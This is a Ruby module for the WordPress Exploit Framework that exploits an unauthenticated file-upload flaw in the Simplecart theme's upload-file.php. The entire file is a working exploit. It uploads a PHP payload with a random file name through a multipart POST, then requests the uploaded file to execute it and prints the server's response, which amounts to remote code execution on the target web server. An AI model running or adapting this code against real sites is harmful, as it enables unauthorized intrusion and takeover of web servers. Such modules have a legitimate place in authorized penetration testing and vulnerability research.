# frozen_string_literal: true

require 'socket'

class Wpxf::Exploit::SimplecartShellUpload < Wpxf::Module
  include Wpxf

  def initialize
    super

    update_info(
      name: 'Simplecart Theme Shell Upload',
      desc: 'This module exploits a file upload vulnerability in all versions '\
            'of the Simplecart theme found in the upload_file.php script '\
            'which contains no session or file validation. It allows '\
            'unauthenticated users to upload files of any type and '\
            'subsequently execute PHP scripts in the context of the '\
            'web server.',
      author: [
        'Divya',     # Vulnerability disclosure
        'rastating'  # WPXF module
      ],
      references: [
        ['EDB', '36611']
      ],
      date: 'April 02 2015'
    )
  end

  def check
    check_theme_version_from_readme('simplecart')
  end

  def plugin_url
    normalize_uri(wordpress_url_themes, 'simplecart')
  end

  def uploads_url
    normalize_uri(plugin_url, 'admin',)
  end

  def uploader_url
    normalize_uri(uploads_url, 'upload-file.php')
  end

  def payload_body_builder(payload_name)
    target_ip = IPSocket.getaddress(target_host)
    field_name = Utility::Text.md5(target_ip)

    builder = Utility::BodyBuilder.new
    builder.add_file_from_string(field_name, payload.encoded, payload_name)
    builder.add_field('upload_path', 'Lg==')
    builder
  end

  def run
    return false unless super

    emit_info 'Preparing payload...'
    payload_name = "#{Utility::Text.rand_alpha(10, :lower)}.php"
    builder = payload_body_builder(payload_name)

    emit_info 'Uploading payload...'
    res = nil
    builder.create do |body|
      res = execute_post_request(url: uploader_url, body: body)
    end

    if res.nil?
      emit_error 'No response from the target'
      return false
    end

    if res.code != 200
      emit_error "Server responded with code #{res.code}"
      return false
    end

    payload_url = normalize_uri(uploads_url, payload_name)
    emit_success "Uploaded the payload to #{payload_url}", true

    emit_info 'Executing the payload...'
    res = execute_get_request(url: payload_url)

    if res && res.code == 200 && !res.body.strip.empty?
      emit_success "Result: #{res.body}"
    end

    return true
  end
end
